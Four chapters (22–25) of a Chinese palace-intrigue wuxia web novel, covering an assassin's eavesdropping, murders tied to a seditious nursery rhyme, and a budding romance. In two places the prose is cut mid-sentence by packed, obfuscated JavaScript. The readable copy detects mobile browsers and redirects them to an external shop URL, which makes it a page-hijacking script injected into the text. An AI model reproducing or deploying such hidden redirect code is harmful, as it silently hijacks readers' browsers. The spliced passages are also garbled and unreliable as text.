莫内侍阴恻的笑道:“高统领自身难保之际,七皇子可没想着您啊。您放心,此事就交给卑职,卑职只求统领功成名就之际,万望您别忘了我对您献药的引荐之恩。” 高羡思及来时的一切的不易,咬牙狠心道:“多谢内侍提点,待我成就伟业之时,内侍您,必会成为这皇宫中举足轻重的大人物。” “卑职谢过高统领。如此,卑职必不会让高统领失望,一定达成使命。” 二更人静,御守府巡逻的队伍经过了皇后华贵威严的上阳宫。兵士的甲胄与兵器在行进时发出锵锵碰撞声,惊扰了园子里肖扶锦养的飞奴。 鸽子在笼中张开翅膀扑棱,不停发出咕咕的叫声。书溪怕它撞伤翅膀,站在笼子旁不停安抚着它。 肖扶锦坐贵妃榻上望着日渐圆润的月亮道:“书溪,今日是御守府的哪位大人巡逻。” 书溪给飞奴添了一勺鸽食,飞奴才安静下来。她松了口气回道:“娘娘,今日是高统领当值。” “高统领……” 肖扶锦嘴中一遍遍念着高统领,想起那人也曾是统领。他知道飞奴容易受惊,每次巡逻上阳宫的人都是他精挑细选过的,脚步轻快,动作麻利。 不知,他如今还好吗…… 肖扶锦望向吃得正欢的飞奴,听说昨日兄长与陛下又吵了一架,等飞奴吃完,也该让它松松筋骨了。 飞奴一路向东,飞过皇城高耸的宫墙,准确的落到定远侯府内一棵苦楝树上。 它一如既往,像多年前刚入皇宫时那样,站在枝头咕咕的叫着。 不远处的池塘,韦均凝正喂着池中几条肥硕的锦鲤。飞奴急切的叫声传到了她的耳中,她心急地拿着鱼食快步走向院中央的苦楝树。 她随手将鱼食放到树旁的石桌上,轻轻解下飞奴脚上的字条。 脚上没了束缚的飞奴轻快的蹦到石桌上,准备享用它辛苦换来的加餐。 “去,飞奴,回去再吃。” 飞奴扇着翅膀,灵巧的闪开。它得自己尝尝才行。 见飞奴不愿走,韦均凝抬手准备赶它。 “是飞奴传信来了吗?”肖攘镰听到动静从屋内走出来,飞奴被突然出现的人吓到,放弃探索鱼食,直直拍着翅膀飞远了。 韦均凝叹气道:“是锦儿来问袭爵的事。” 肖攘镰没有回话,只是站在院中久久沉默着。 半晌,韦均凝仍没等来肖攘镰的回答,她长叹一声,“夫君何苦与陛下争执,他为君,你为臣,他若想让你颐养天年你就让孩子们去做吧。逾儿,皎皎他们都大了,南雁和北休的戟法跟双剑也有所成了,陛下属意谁,就把爵位给谁吧。盛安的争斗,咱们就不必管了。日后剿灭闼鞑,收复鄢云十州,就交给他们吧。” “那边是大观门吧。” 肖攘镰没由来的一句话把韦均凝都搞糊涂了,她顺着肖攘镰指的方向看去,“是,没错。今日好好的怎么提起大观门来了。皎皎说近日的童谣闹鬼牵扯上了白泽,咱们以后还是少提前晋有关的事了。” “当年晋灵帝下旨令肖家全族迁至蔺州边境之地,蔺州苦寒偏远,父亲还被贬官,一路上处处遭人刁难,是平戈公主华羲暗中帮助父亲,才让我们一族得以平安到达蔺州。裴乡柯却借此机会,状告肖家目无陛下,一心投靠长公主和平戈公主,陛下以雷霆之怒问罪,要将肖家全族没入奴籍去修建仙宫。愿儿劝说父亲另投明主,燕行川也来信劝父亲忍辱负重,他与华羲已经在谋划政变。父亲不想背叛前晋,可族人等不起了。他只好揭竿而起,跟从先帝四处征战。是父亲亲手攻破大观门,协助逼死了华羲的亲兄长怀帝。” 韦均凝不知肖攘镰为何旧事重提,锦儿既来信,她不想让她担心此事,于是又劝道:“可父亲不是被先帝敕封了定远侯,肖家族人又能重回盛安了吗。大邺刚定都盛安,父亲不就立刻将爵位传给你了。如今你年岁渐长,陛下又生忌惮,也到时候将爵位传给孩子了。” “夫人你有所不知,母亲当年在路途颠簸中早产生下厦儿,身体也自此一直不好。没过多久她就离世了,父亲当时没办法将她葬回盛安,只得把她的尸骨草草留在蔺州。父亲荣封定远侯后,他请求先帝允许他回蔺州安葬发妻,先帝却想要父亲娶牧家女子为继室,不许他离开盛安。父亲执意抗旨,先帝便想方设法让我袭爵。父亲因不想续弦才就此妥协,可先帝却将父亲圈作人质强留他在盛安不许父亲与我同往戍边。” 韦均凝顿时遍体生寒,“夫君,你的意思是先帝故意的。那那,那逾儿一岁时你要与利鹘作战,我那时要随你去前线,先帝借父亲年迈思念孙辈的名义将逾儿留在身边是……” 肖攘镰不敢去看妻子的眼神,缓缓道:“先帝说,肖厝感念我对其知遇之恩定不会怀疑我留下肖逾的用心,若皇后问起,就说怕肖将军遭遇不测,将肖逾留下了还能保住肖家的血脉。若肖攘镰大胜后三个月内还不回朝,就杀掉肖厝和肖逾。肖攘镰为了兵权可能不要父亲,但他绝对不会不要儿子,虎毒尚且不食子呢。” 韦均凝捂着心口坐到石凳上,“先帝真是一条毒计啊。当年对阵利鹘,戈罗昂真有多凶猛嚣张,直入我军营屠杀二百余人。我们赶到时,滕州的主城几乎都被她杀空了。我们即使胜了,回程也被她一路埋伏设计。若不是国库空虚,兵士不足,我们岂会放过她。先帝不想办法扩充国库,竟对他忠心耿耿的臣子下毒手。我可怜的儿啊,我走时他才一岁,我回来的时候他都,都把我忘了…我韦均凝打了一辈子的仗,居然是为混蛋做了嫁衣。“ 肖攘镰见妻子崩溃的样子揪心不已,他心疼地搂住韦均凝,“夫人,这话是先帝告诉陛下的。如今又来一次,我怎能让出爵位。逾儿跟儿也有了孩子,我怎么能让他们的孩子被当作把柄,任人拿捏。” 韦均凝慌乱的抬起头,“夫君,此事你是如何知晓的?” “陛下前几日在先皇后的祭日时喝多了酒,一不小心讲了出来。他太信任他了,也对先皇后太愧疚了。这么多年,父亲跟我从不与忠勇侯一家来往,还是让陛下松懈了。” “原来是他,他也有怨吧。他当年非要以军功来求娶锦儿,谁知道比他军功奖赏先来的是先帝赐婚的圣旨。可我们日后怎么办……” “等,等一个天下的明主。大邺的安定都是我肖家祖辈的鲜血换来的,若我们反了,岂不让他们白白死去。当年我们迫于灵帝和裴乡柯的威逼,没能等来宣帝、华羲与燕行川,才致使肖家陷入今日的境地。等新帝即位,我们全力灭掉外邦闼鞑,自此大邺边境稳固,到那时就好了。” 韦均凝轻笑一声,“好,夫君。我等,我们一起等。” 接近八月末,夜里的风渐渐凉了下来。姜燃站风口听着两人的谈话,手都渐渐冷了下来。她屏住气息,极力放轻脚步,慢慢到大门处。 她没敢用轻功,怕被两人察觉。那些话比晚风还叫她心寒,为什么她的家人心善却换不来一个好下场,她这个坏人倒是一直平安。 苍天无眼,天道不公。 那今夜以后,只好 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尘起皱眉沉思,还是问了心里憋了许久的话,“小琢,要是有一天,你发现哥哥骗了你,你会怎么办?” “哥哥?哪个哥哥,是尘起哥还是兄长?” “万一,都是呢。” 高琢双手环胸,琢磨起问题来,“恩…不管是什么大问题我都会原谅你们的,我们是家人啊,家人不就是要一直信任彼此吗,成为彼此的依靠。这可是红豆姐姐告诉我的,我一直记着呢。” 红豆,红豆…… 尘起心中又偷偷念着她的名字。家乡遭遇战火,红豆下落不明,他失去红豆了。为什么,为什么做坏事的人都好好的,只有他失去天底下最好的红豆。 他端详着月光下高琢的脸,他十足十的像红豆,善良,单纯,有正义感和责任感。 他答应过红豆,等他来她的家乡时两人相约一起吃栗子糕,可如今盛安他来了,栗子糕也吃了,只有红豆不在了。 尘起终是狠不下心骗高琢,将高羡的话原原本本告诉了他。他已经辜负了红豆,不能再辜负小琢了。 高琢震惊的手脚发软,差点拿不稳横刀。兄长怎么会想借他与映梧的关系接近二皇子,成为二皇子一党。兄长骗他利用他就算了,怎么能借他伤害映梧。他想永远保护他,让映梧永远幸福的。 他绝不能伤害映梧,可兄长,忆欢,尘起哥是他最后的家人…他该怎么办? 姜燃听着两人的谈话,手渐渐松开了剑柄。 姜燃内心唏嘘不已,她最终还是没能让几人成为真正的家人…… 尘起见高琢失神,焦急得唤了好几声他的名字。贾嬷嬷睡梦中以为是忆欢在喊她,睡眼惺忪的进到内屋,“小姐,您喊我?” “啊!”贾嬷嬷在月光下见小姐的屋内有个人影,不由惊叫出声。 屋外的两人察觉叫声,飞身向屋内跑来,“什么人!” 在月光的映衬下,贾嬷嬷看清了来人的面容。一弯柳叶眉,寒潭似的桃花眸,莹润的朱唇紧抿着,站在忆欢的床前。 “你你…你是,你不是死了吗?” 姜燃懊恼,自己一时疏忽竟未曾察觉贾嬷嬷的脚步声。她眯起眼眸,心中快速有了谋划。 她飞速抽出腰间的软剑,一击割穿了贾嬷嬷的喉咙。等两人推门而入时,只看到了姜燃跳窗而出的背影。屋内,只剩被吵醒的忆欢和死去的贾嬷嬷。 忆欢懵懵懂懂,揉着眼睛迷糊道:“贾嬷嬷现在还早呢,我再睡一会就去背书。” 高琢一把抱起忆欢,捂着她的眼睛道:“忆欢,贾嬷嬷生病了,我们先去阿爹的屋子睡好不好。” 尘起看着跳窗逃跑的身影陷入迷茫,这个背影怎么会这么熟悉…… 23. 凶手浮现 “快来人啊!有刺客!快抓刺客!” 深夜的高府已经乱作一团,值夜的仆役敲着锣,奔走呼喊着府中剩余的家丁。游走的火把将高府上空漆黑的天,照出暖洋洋的颜色。 不一会,护府家丁手执火把鱼贯而出,从里到外将高府围了个水泄不通。 姜燃好整以暇看着他们的动作,淤堵在胸口的一团恶气终于吐了出来。她从地上拾了颗石子,抬手打灭了大门的另一盏灯笼。 府前的众人精神戒备,却没人在意头顶上方的灯笼已经悄无声息的熄灭了。 家丁们搜寻无果,悻悻回府样子让姜燃心情大好。她摸了下空瘪的肚子,果然心情好了,胃口也好,去找点东西吃吧,明天还有的忙呢。 街道上,空无人烟,原本热闹的夜市也因闹鬼童谣的传闻渐渐萧条。姜燃喟叹一声,这下真是搬起石头砸了自己的脚。 要不是刚到盛安那日有一个打更的更夫瞧见了她,她也不用装鬼吓他,让别有用心之人假借她装鬼的点子在半夜唱童谣。 这下好了,她为了找肖府方便,帮他们坐实闹鬼的事,结果现在居然害自己吃不上宵夜。 而且,那伙人不感激她就算了,居然还把童谣闹鬼与肖家和前晋联系起来。她最重要的人如今都被牵扯进来,甚至还被人诬蔑,成为百姓茶余饭后的谈资。 早知如此,就不让他们借她的东风了。 姜燃越想越气,决定去她第一次撞见那人的地方警告他一下。算他运气好,她今日已经杀了一个人,就先放过他,若他敢不从,她再杀了他。 打定主意,姜燃掏出随身带着的面巾系在脸上,直奔慧慈院。 子夜,风清月白,偶有蝉鸣声。 慧慈院巷口的槐树下,灰羽的鸽子正埋头啄食着地上的粟米。鸽子边站着的人脸上带着白泽面身穿黑袍,从随身带的袋子中抓着粟米喂鸽子。 咕咕咕—— 饱餐后的鸽子扑腾了一下翅膀,那人被惊得连连后退几步,见鸽子又低头去吃粟米才慢慢靠过来。 那人长吁一声,又抓了一撮米洒在地上。 今日送信的鸽子怎么这么晚…… 姜燃匆匆赶来,发现这人今日不扯着嗓子唱童谣改喂鸽子了,她略感奇怪,决心多等一会再现身。 嗒,嗒,嗒—— 一阵脚步声从巷口传来,脚步声微重迟缓。来人身穿藏青色袍子,同样带着白泽兽面。 “你……” 他一开口,声音沙哑苍老,姜燃料他是在刻意改变自己原有的声音。她勾起唇角,今日运气可真好。 身着藏青色袍子的人没再接着说下去,他缓缓拿出袖中一方手帕和一个小盒子递给面前的人。 “今日唱完童谣后,拿着这个去昌平坊寻一个叫花娘的女子,将手帕和盒中的东西给她,她自会明白。你,以后也不必再深夜唱童谣了。把这白泽面具在家中藏好,若有人追查……你…你就按组织的规矩来办吧。” 黑袍人接过手帕收好,迟疑一会才问道:“是牵扯到什么人了吗?为什么突然停手?” 那人没回话,只是自顾自说道:“那姑娘舵主查过了,是兰诏人,当年被拐子伪造了盛安奴籍的身份。这件事舵主会想办法帮她,让她以后离开盛安过上好日子的。你不会白死的……姚家,小主人会帮你解决…你安心吧。” “好,舵主既然都已替我安排好了,我也就放心了。我只求使者能帮我转告舵主,让她能回到云州去。当年拐走卖掉她的拐子我已经杀了他们,只求舵主让姚家也能付出代价。” “姚家,即使主人不动手,我和小主人也会帮你除掉他们的。” 荆南摘下白泽面具,郑重的向那人一拜,“多谢使者,多谢小主人替我做主。” 姜燃喃喃自语道:“还有小主人?真够麻烦的。反正他们只针对姚家,先用他们拖住姚家也好。高家那边就够她忙一阵的,那才是她的正事。不管了,只把他们的事告诉阿姜姐,剩下的只要不妨碍到她,她还是少管闲事吧。现在她已经必须替人做药了,别的还是少往自己身上揽了。” 深夜一切归于平静,巷子里又传出孩童吟诵童谣的声音。 “桓帝丧,幼子伤,长子立,诏书藏……” 荆南如今模仿孩童的声音已经炉火纯青,不似第一日的青涩,如今他能面不改色说出大逆不道的童谣。 他围着周围的巷子边走边唱,他连唱了几遍,脱力的坐在巷口的槐树下。这几日来,他才终于明白为什么师父当年编的童谣会有招来杀身之祸,而他却被人当成鬼魂作祟,置之不理。 童谣最重要的原来是后半首啊,难怪宫中那人还能坐得住,连公廨的人都没派。 他抚摸着槐树的树皮的纹理,在空荡的深夜第一次念出完整的童谣。 “桓帝丧,幼子伤,长子立,诏书藏;帝不仁,祸乱生,天下牧,邺将故;羊女子,兆女教,三月皇,改朝纲。” 他自嘲的笑道:“这童谣以后除了他和师父,再也没人知道了。” 替独春卖命不光是为他自己报仇,还是为了师父。 大邺出兵剿灭利鹘遗民,害得师父连最后一处栖身的地方都没有了。他们强迫兰诏做附属国,要了兰诏的朝贡却不给他们庇护,害得云州数次被闼鞑攻打,导致民不聊生。若不是因为这些,他怎么会与云昙分开。一切,都被牧氏皇族他们毁了…… 槐树后的屋顶,姜燃将这些话全部收入耳中。 古人说,隔墙有耳,果真所言非虚。原来,一整首童谣才是当年桓帝下令追杀十二的原因啊。 姜燃今日听够了秘密,脚尖轻踩纵身一跃,离开了慧慈院。 秘密随着黑夜隐去,天光破晓。 和羹居,姚映梧早早等在雅间,她坐立不安,桌上温热的桂花糖糕也早已经冷透,食盒里还装着带给高琢的栗子糕。 吱呀—— “阿缘,我有话跟你说。“皎皎,有件事我得告诉你。” 两人相继一愣,先后将自己的事讲了出来。 肖遥拧着眉道:“世上居然会有这么巧合的事?这个荆南绝对有问题。” 姚映梧喟叹道:“这个窦花娘果然有事,只是那个舵主和使者是怎么回事?” 闻言,肖遥不禁无奈地摇头,“阿姜姐她们怕打草惊蛇,没有跟太近。等晚上我跟阿姜去那个院子探查,发现其中有一间密室,但早就人去楼空了,只在里面找到半截兰花手帕,上面绣的兰花就是水兰阁杀手的标记。红豆昨夜恰巧经过慧慈院,听见那黑袍男子口中谈起什么舵主和使者。这件事越来越棘手了。” 听到慧慈院,姚映梧眼神一亮。她忽地想起那日分酥山时,在巷口槐树下散落的粟米粒,加上那年长的夫人提到过于老四的同乡,于老四又和牛二说起过他们是从云州来的。云昙说荆南会口技,还是与从大邺逃来的俗讲艺人学的。她不信这些全是巧合。 姚映梧急忙将早就的猜测说给肖遥听,“我没猜错的话,荆南就是在慧慈院搞鬼之人。可窦花娘跟他是什么关系呢。 姚映梧站起身走到门边,“皎皎你才从楼下来,不好再露面了。我这就出去瞧瞧荆南,看看他有没有什么异样。” 姚映梧一拉开门,正好撞上了面无表情的牧泓屿。 高琢昨日特意与他约好巳初时分在进和羹居的巷口碰面,结果高琢到巳正都没来。他左等右等都没见人,原本就郁闷的表情更添了一分怨气。 他是看在高琢与阿遥能说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高琢猛然推门而入,打断了牧泓屿即将说出口的话。他气喘吁吁的瘫坐在椅子上,大口喘着气。 姚映梧给高琢倒了杯茶,长舒一口气道:“高琢,你今日怎么这么晚才来?” 高琢见姚映梧给他倒茶,立刻接过杯子,开心的咧开嘴笑着。 他一口喝光杯子里的茶,从未觉得和羹居的茶这么好喝过。 高琢无奈解释道:“昨日我们府上来了刺客,将我侄女的乳母给杀了。公廨半夜提了我们去审问,我一晚上没睡,才从公廨放回来,我回府简单收拾了一下,立刻就赶过来了。” 姚映梧将桌前食盒里装的栗子糕推给高琢,她担心道:“那刺客怕是因我们查此事,才针对上你了,你日后千万可千万要当心。这是我让云昙特意做给你吃的,你尝尝有没有家乡的味道?” 高琢糟糕的心情顿时开朗了起来,映梧对他可真好。他想着尘起哥说的话,心下有了决断。 栗子糕软糯香甜,一股淡淡的牛乳香充斥其间,熟悉的味道让高琢怔愣片刻,他激动道:“这糕和在家乡吃的味道好像啊。映梧,我能不能拜托云昙姑娘在做一些,忆欢她自幼离家,又没了阿娘。她很想家,也想吃家乡味道的点心,我想带给她。” 姚映梧心头一颤,自幼没了娘亲,她知道想娘亲的痛苦。她笑着应道:“你先吃这些,明日让云昙再多做些给你,你带回去给她……” 楼下,荆南说完书,小心翼翼从侧门出去,秘密的给窦花娘送去帕子和药。回来后,他就待在羹居后院柴房想着说辞。他毕竟是从闹市穿过,万一被人看见了,该怎么开脱呢。 他想来想去,还是准备去找堂哥给自己作伪证。他刚拉开柴房的大门,身后不知何时出现一个人,伸出手直接将大门从内闩上。 只听咚的一声,不大不小,荆南却被声音吓出了冷汗。 24. 死局真心 荆南紧张的回过头,却见那人脸上也戴着白泽面具。与自己的不同,那人戴的有些年头,,做工也更精细。 荆南紧张地咽了咽口水,他定睛一瞧那人手中拿着的,正是他处心积虑藏在慧慈院里用来挑拨肖家与陛下关系的白泽面具。 那人直截了当问道:“我在慧慈院盯你有段日子了,十二在哪?” “你是怎么知道我师父的?” “少废话……” “柴房怎么大白天关着门,谁在里面?” 做糕点的师傅说没有柴火了,让吴介去抱些柴进来,谁料他去到柴房就看见大门紧闭,怎么也推不开。 黑袍人见有人来,没了耐心,抓住荆南的衣领威胁道:“快说,不然我连那日丢香囊的姑娘一起杀了。” 荆南怕此人会伤害云昙,咬牙说出了他将师父藏身的地方。 “慧慈院东院后的草屋。我在慧慈院安身后,装鬼吓唬过几个人,他们半夜不敢出来,我就把师父藏在那了。” 黑袍人手上的剑柄滑过荆南脆弱的脖间,他低声道:“抱歉,你得死了。不过别担心,我不会伤害那个姑娘,而且,你师傅很快就来陪你的。” 吴介好不容易撞开门,就见屋内堂弟的尸体横躺在地上。 一个做糕点的娘子急匆匆从后厨走出来,“吴介,火都要熄了,怎么还没抱来柴。” “啊!啊!啊!啊!啊!杀人了!” 屋内的几人听见楼下传来一阵尖叫声,肖遥让几人呆好别动,她去楼下看看。 “高琢,泓屿和忆欢不会武,你保护好他们。” “放心吧,肖遥。” 不出片刻,肖遥神色慌张折返而来,“不好了!是荆南,他被人杀了!已经有人去报官了。” 姚映梧瞬间站起身,“不好!昌平坊!窦花娘!” 驾驾,驾,驾。 高琢驾着马车,一路疾驰,直奔昌平坊。 窦花娘家的门虚掩着,几人屏住呼吸推门而入。 院中无人,四下静悄悄的。 姚映梧指了指西屋,对几人做口型示意道:“这是窦花娘住的屋子。” 说完,她主动打了头阵,抬脚朝窦花娘的屋子走去。 “等等,映梧。” 高琢一把拦住她,“门是开的,估计窦花娘也已遭遇不测了。还不知道她的死状,万一她…别吓到你。” 姚映梧笑着安慰他,“无妨,我自小就是倒数着日子活的,虽然我没见过死人。但,我还能承受住的。” 西屋里,唯一的桌子前摆着一株兰花,花瓣像一对展翅高飞的燕子。 窦花娘安详的躺在床上,她皮肤异常的苍白,隐约间带有些灰青色。 姚映梧脚步一顿,她望着床上躺着的窦花娘,心里满是说不出来的震惊。她自以为自己已经看淡了生死,可当她真正面对死人时,还是无法做到她自以为的淡然处之。 前几日见她时,自己还给过她银子,让她给弟弟换一个好的棺椁。到底是为了遮掩什么样的秘密,值得她放弃一切,躺在家中坦然的死去。 “映梧,要不要我去把她的脸盖上?” 高琢见姚映梧停住的脚步,轻声问道。 姚映梧摇摇头,走到窦花娘身边,伸手放在她鼻下确定她真的没了呼吸。 高琢拿起她的手想检查,确定她手上没有抓痕,真的是自己主动服毒的。 “好凉。” 高琢的手一触到窦花娘的指尖,冰的他立刻缩回了手。 肖遥正拿着桌上还留有余温的茶杯,听到高琢的话不可思议道:“怎么可能,茶杯都还是温的。” 她放下杯子,快步走到床前,亲手试了一下。 肖遥瞪大眼睛,又摸上窦花娘的脖颈,“怎么会这样?她连脖颈都已经凉的不正常。” 姚映梧站在一旁将两人的话全部收入耳中。她低头看向自己试探鼻息的手,喃喃自语道:“我为什么没感觉到凉呢……” “什么,映梧?” 高琢看姚映梧的神色不好,又听见她喃喃自语,担心道。 姚映梧收回手,强忍下心头的不安,对高琢笑道:“没事,高琢。” 牧泓屿自进屋后,就一直紧蹙着眉。屋里有一股奇怪的味道,他很熟悉,却一时想不起来了。 他循着味道的源头闻去,直至目光锁定了桌上的黑色锦盒。他拿起来,细细闻了闻,大惊失色道:“阿遥,你来。我说这味道怎么这么熟悉,这个盒子里面装过乌寒。” “乌寒!她怎么会有乌寒呢。” 肖遥从牧泓屿手中拿过盒子,细细闻了好几遍,她立刻反应过来惊呼道:“她居然是服了乌寒自杀,她背后的人是想嫁祸肖家。” 高琢听他们两人你一言我一语听的头都大了,他瞅准时机插话问道:“肖遥,‘乌寒’是什么呀,跟肖家又有什么关系?” 肖遥放下手中的盒子,“乌寒是从鄢州境内生长的一种有毒作物中是提炼出来的。身逢乱世,铁甲覆面军即使再英勇也难逃受伤。许多人没死在敌人的刀下,却因伤口感染而亡。与肖家交好的一家士族不忍,反复钻研医书,最终发现一种奇怪的树,它的叶子毒性极强,误食的人死后会全身冰凉,其他并无异样。但它的树叶中的液体却有奇效,敷在伤口处,不会化脓更不会红肿疼痛,伤口复原起来也比寻常的药快半月有余。” “可是,鄢州姜家?”姚映梧不确定的问道。 肖遥失神的点头道:“是姜家。” 姚映梧宽慰道:“不妨事的皎皎,即使是姜家特意做给铁甲覆面军的药,也不能说明什么的。” 高琢附和着点头,“是啊,肖遥,你大可放心,姜家既然发现此药对红伤有用,肯定也会给其他病人用药的。” 肖遥无奈道:“问题就在这。自此灵帝痴迷得道成仙,妄图将天下宝物全部据为己有收入仙宫。除了当年姜家给我祖父的乌寒,整个大邺都不会有人有了。” 牧泓屿在一旁说道:“阿遥,你先别担心,先查查她是不是敌国细作。鄢云十州都是前晋国土,可当年利鹘、兰诏与大邺争夺鄢云十州,鄢州,不是归了利鹘吗。我听说姜家家主姜裳收过一个关门弟子,就是利鹘人。肖家与姚家前去剿灭利鹘遗民,谁知道有没有漏网之鱼。而且利鹘灭国后,鄢州如今又是闼鞑的地盘,她可能是闼鞑细作也说不准呢。” 牧泓屿存了私心,要是能查出敌国细作,他与阿遥立下大功,父皇说不定就会同意他与阿遥的婚事了。 若这个窦花娘不是,他也会帮她是的,肖家和阿遥,他都会保护好的。 姚映梧伸出手本想拉住肖遥宽慰她,可她看着自己较常人过分冰凉手还是默默收了回去。 “皎皎,我听长姐给我读大观游记时提过,利鹘和闼鞑先狄人都信仰天神,他们有一种习俗,会在孩子成人时在肩膀上留下刺青,祈求天神庇护孩子平安。我们先找找看。” 牧泓屿与高琢在屋外等了一会,听见屋内传来两人的惊呼,“她的肩膀上果真有一个刺青。” 高琢取来纸笔,听着姚映梧的描述,小心仔细地将纹样画了下来。 他隔着窗子将画纸递了进去,“映梧,你看看像不像。” 姚映梧接过画,高琢果然画的一模一样。可她并不认识上面的图案,她转身拿给正为窦花娘穿上披衫的肖遥看,“皎皎你看,这个图腾你可认识?” 肖遥只匆匆一瞥,瞬间怔住,“这是腾龙?她是闼鞑人!” 接到报官后,公廨的人来的迅速。几人被例行问话后,就被放出了公廨。 一出公廨的大门,高琢幽怨的叹了一口气,“唉,近日是怎么了,都来了两回公廨了。” 姚映梧见他沮丧的样子柔声说:“童谣的事也算了了,只可惜咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067089|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现了凶手,他们却都死了。查来查去,居然查成了悬案,嫌疑人全变成死人了。” 高琢端详着姚映梧闷闷不乐的样子,开解道:“不用担心了映梧,刚才问我话的捕手就是昨晚的那个。他好心告诉我,说童谣许多年前就有了,没人放在心上的,用不了多久,有关丞相大人的议论很快就被忘了。这次,大家大多是怕鬼才不敢出来的。” 高琢停下脚步,看着姚映梧的眼睛认真说道:“而且,对你父亲和姚家有看法的人永远都会心存怀疑,不会因为有没有童谣牵扯就改观的。我以前不知道童谣,现在知道了也不会质疑你父亲有篡改遗诏之嫌。他把你养的正义善良,我相信你父亲也一定是一个好官的。” 午后的阳光正好,一缕缕穿过树叶的间隙打到高琢的脸上。他眼睛一如既往的干净,眼神望向她时带着不容置疑的坚定。 姚映梧看着这双眼睛,手不由自主的抚上高琢的颤动的眼睫,“你,为何会这般信我,信我的家人?” 高琢抓住姚映梧冰凉的指尖,紧紧握住,“映梧,城楼第一次见你时我就对你一见倾心。我喜欢你,不管别人口中你与你的家人是什么样子,我都不信。我眼中的你,能担心第一次见面的陌生人,还会面对刺客时愿意与他共进退,她不顾危险追查童谣只是想用自己的力量保护一次家人。她这样善良的人,怎么会一心只有权力,一心去利用别人。” 盯着这双明亮的眼睛,姚映梧慌了神。她偏过目光,“可若有一日你不再喜欢我了,你还会信我吗?” 高琢听后反而笑道:“是我信映梧是好人,所以才会喜欢上你。而不是因为我喜欢你才信你。在我心里以为姚映梧是世间最好的女子,值得世上最好的一切。我的喜欢,不会对你的好产生任何影响。所以,即使我不喜欢你,我也永远信你和你的家人。” 姚映梧不自觉又捏紧了衣袖,她也…喜欢他的,可她的病…万一治不好怎么办。她咬住下唇,支吾了半天也没说出什么话。 “高琢,我……” 高琢不在乎地摇头道:“映梧,我不着急听你的答案。你生在世家大族,要顾忌的事太多,我都明白的。只求你能愿意让我陪着你就好。” “我…我也…我也喜欢你的……” 姚映梧声如蚊蚋的话一字不落传进了高琢的耳朵,他登时欣喜若狂。他站在那,不知所措的看着姚映梧。 姚映梧掩唇轻笑道:“明日,你到姚府侧门等我,我把栗子糕给你。” 高琢慌张应下,小声说道,“那我明日巳正来找你,阿缘。” 公廨门口,肖遥和牧泓屿才被问完话出来。他们二人看着高琢开心的样子,识趣的没上前打扰。 牧泓屿从袖中拿出半截手帕,塞到肖遥手中,“窦花娘把它放到了屋后的花盆底下,和你手里那半截一样的料子。” 肖遥打趣的笑道:“这是什么意思。都说天子犯法与庶民同罪,你这皇子是要包庇我吗。” “一个无足轻重的皇子给的小恩小惠罢了,怎么,肖遥将军不敢要?” 肖遥掏出手帕对了一下,果然是同一块。她默默将手帕收好,“谢了。” 牧泓屿的神色突然严肃起来,“你知道的,我要的从来都不是你的感谢。” 肖遥被他直白的话讲得心乱,她深吸一口气回道:“还有几日就是我的生辰了,今年我要与阿缘一起过。你,会来吗?” 霎时间,牧泓屿心中的阴霾一扫而光,他开朗的笑道:“去,自然去。我还得为你准备一份大礼才行。” 几人谈话间,几名捕手脚匆匆进入公廨。 “章县尉,不好了。上面让秘密抓捕的那俗讲艺人,被人救走了。” 章县尉心头一震,追问道:“是嫌疑人荆南藏在慧慈院的俗讲艺人十二?” “正是此人。” “快快快!赶紧给我加派人手全城搜捕。” 25. 尘埃被落定 闹市间,一座不起眼的小院早早关上了大门。另一条街上,捕手们拿着画像,挨家挨户搜寻着被神秘人劫走的十二。 昏暗的房间内,十二悠悠转醒。童谣一事,他早想过荆南会暴露,只是没想到会这么快。 他缓缓从地上爬起来,一不小心牵动了原本的旧伤,胸口处传来的钝痛让他喉间漫上一股腥气。 “咳咳咳,咳咳咳。” “你的伤不是治好了吗?怎么还会咳。” 熟悉的声音让十二的动作顿住,那人带了白泽面具遮脸,手中握着一柄长剑,剑身刻着火纹,剑柄处是条怒目而视的龙。 “这,这是平戈公主的剑,你是什么人!你怎么会知道我的伤已经治好了!” 那人没有动作,只是自顾自轻轻拂着剑身。 “这与你无关,我救你只是为了问你一件事。” 那人一身墨色劲装,声音年轻有力,只是拿着剑坐在那,就让十二全身冒了冷汗。他活了四十年,还与戈罗昂真联手编过童谣,还动摇过大邺根基。今日,他居然怕了一个毛孩子。 十二咽了咽口水,陈旧的白泽面具和来人熟悉的声音都让十二隐隐不安。他试探着问道:“阁下有华羲的剑,难道是前晋王室血脉?” 他将剑一横,剑锋抵在了十二的脖颈。他冷声道:“我救你,可不是为了跟你讨论我的身份的。” 他缓缓将脸上的面具拿下,“我只问你,那日究竟发生了什么。” 约莫过了一炷香,公廨的捕手才搜到这间院子。 “大白天,就这家院子里面连个人影都没有,快,赶紧敲门。” 咚咚咚!咚咚咚! 砰——! 不知哪个急性子的捕手踹开了门,院中静悄悄的,屋门敞开着,隐约能看见地上的血迹。 “地上有血迹,大家小心点。” 几个捕手手持横刀进入屋内,十二躺在地上双眼睁圆,颈处遭到致命的封喉一剑,当场毙命。 为首的捕手叹了口气,“你们将尸首抬回公廨请仵作来验尸,我去回禀县尉大人。” 十二被人劫走后,章参在公廨坐立难安。 “县尉大人。” 章参见派去搜捕的人回来了,忙追问道:“怎么样?人找到了吗?” “找到了,只是……” 章参顿时松了一口气,“找到了那就好,只是什么?” “他死了。” 章参刚放下的心又立刻提了起来,他震惊道:“什么!死了?谁干的,可有抓到凶手。” 堂下的捕手登时底气不足,弱弱道:“我们到的时候他就已经死了,我们…没看到凶手。” 章参瘫坐到椅子上,还没等他动手,人就死了,那这事算办成还是没办成啊。不行,他得赶紧进宫一趟。 